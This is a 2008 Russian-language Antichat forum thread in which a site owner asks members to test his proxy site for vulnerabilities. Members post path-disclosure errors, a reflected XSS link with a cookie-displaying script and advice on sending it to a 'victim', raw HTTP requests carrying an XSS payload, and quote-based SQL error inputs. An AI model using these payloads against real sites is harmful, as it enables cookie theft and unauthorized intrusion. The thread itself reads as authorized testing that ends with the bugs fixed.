Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
19.06.2008, 11:39
|
|
Moderator - Level 7
Регистрация: 04.07.2007
Сообщений: 375
Провел на форуме:
2670099
Репутация:
730
|
|
2proxylife.net
Прошу проверить на уязвимость.
Ссылку проверки разместил.
Двиг самописный.
|
|
|
19.06.2008, 20:47
|
|
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
Провел на форуме:
7364332
Репутация:
1276
|
|
Сайт заблокирован хостинг-провайдером!
1. Закончился срок оплаченного хостинга.
2. Были нарушены правила пользования хостингом.
|
|
|
|
26.06.2008, 13:35
|
|
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941
Репутация:
2277
|
|
Path Disclosure
Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in T:\home\virtual\2proxylife\init.php on line 2
тут вообще нет норм фильтрации
http://2proxylife.net/?req=proxy_info&id=1
Warning: gethostbyaddr() [function.gethostbyaddr]: Address is not in a.b.c.d form in T:\home\virtual\2proxylife\index.php on line 59
http://2proxylife.net/?req=proxy_info&id=10.10.10.10
Warning: mysql_connect() [function.mysql-connect]: Can't connect to MySQL server on 'localhost' (10055) in T:\home\virtual\2proxylife\classes\mysql.php on line 13
=========================================
Время: 11:19:11
Сообщение от сервера: Can't connect to MySQL server on 'localhost' (10055)
IP Клиента: *.*.*.*
Запрос: MySQL Connect
но, похоже, это временное явление
+ еще тут
Warning: filemtime() [function.filemtime]: stat failed for ./checker.php in T:\home\virtual\2proxylife\index.php on line 78
з.ы. было бы время поковырял бы далее, а так исправляй ошибки
|
|
|
|
26.06.2008, 15:24
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940
Репутация:
1257
|
|
переходим сюда: _http://2proxylife.net/web/index.php?q=aHR0cDovL3hha2VwLm1vYmkvdGVzdC5odG1s&h l=1011101001
лицезреем наши куки.
алгоритм:
http://2proxylife.net/web/ - здесь снимаем птичку с "Отключить Scripts", а в поле адреса вписываем адрес на страницу с установленным на ней сниффером.
в даном случае просто
<html>
<script>alert(document.cookie);</script>
</html>
осталось только дать полученную ссылку(см. вверху) нашей жертве.
вот такая вот пасивная xss.
Последний раз редактировалось mr.The; 26.06.2008 в 15:26..
|
|
|
|
03.07.2008, 08:56
|
|
Moderator - Level 7
Регистрация: 04.07.2007
Сообщений: 375
Провел на форуме:
2670099
Репутация:
730
|
|
Хоть и пасивка.. но, скрипт phproxy паблик... своё придумывать не стал.
Спасибо, ошибки исправил.
|
|
|
|
03.07.2008, 15:41
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839
Репутация:
1502
|
|
=========================================
Время: 15:39:31
Сообщение от сервера: Column 'icq' cannot be null
IP Клиента: X.X.X.X
Запрос: INSERT INTO `users` VALUES (null, '\'desTiny', '85c67a30aa831b696d10922cb1de4ab0', '0', '0', '0', null, 'ТУТ БЫЛО МЫЛО')
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|
|
03.07.2008, 15:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839
Репутация:
1502
|
|
зарегался по данным
логин: 'desTiny
пасс: '123
Не заходит
add:
то же самое, если зарегаться с именем и пассом '
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
Последний раз редактировалось desTiny; 03.07.2008 в 15:49..
|
|
|
|
03.07.2008, 15:45
|
|
Moderator - Level 7
Регистрация: 04.07.2007
Сообщений: 375
Провел на форуме:
2670099
Репутация:
730
|
|
Это не считается уязвимостью, я запретил нулевое значение в БД... однако фильтр ставить надо бы.
Спасибо,
Решение данной проблемы - нельзя оставлять пустые формы при регистрации, поставлю проверку перед импортом.
Последний раз редактировалось T-Rey; 03.07.2008 в 15:48..
|
|
|
|
03.07.2008, 15:49
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839
Репутация:
1502
|
|
add:
"Текущее состояние: Неработает" - неправильно:
Текущее состояние: Не работает 
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|
|
03.07.2008, 17:25
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912
Репутация:
4693
|
|
XSS в POST запросе:
Код:
Host: www.2proxylife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.2proxylife.net/index.php?sort=siske&sortby=desc'
Cookie: PHPSESSID=ad8f11fbc8767bab42e87778c6c61003
Content-Type: application/x-www-form-urlencoded
m=user_check&proxy_list=</textarea><script>alert(/Hi/)</script>siske&pr_type=socks5&pr_timeout=10
SQL error:
Код:
Host: www.2proxylife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.2proxylife.net/index.php?sort=siske&sortby=desc'
Cookie: PHPSESSID=ad8f11fbc8767bab42e87778c6c61003
Content-Type: application/x-www-form-urlencoded
m=user_check&proxy_list=&pr_type=siske&pr_timeout=10
Опечатки:
Код:
http://www.2proxylife.net/?req=getlist
"Не зарегистрировынным" -> "Незарегистрированным"
"uptame" -> "uptime"
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 03.07.2008 в 18:16..
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
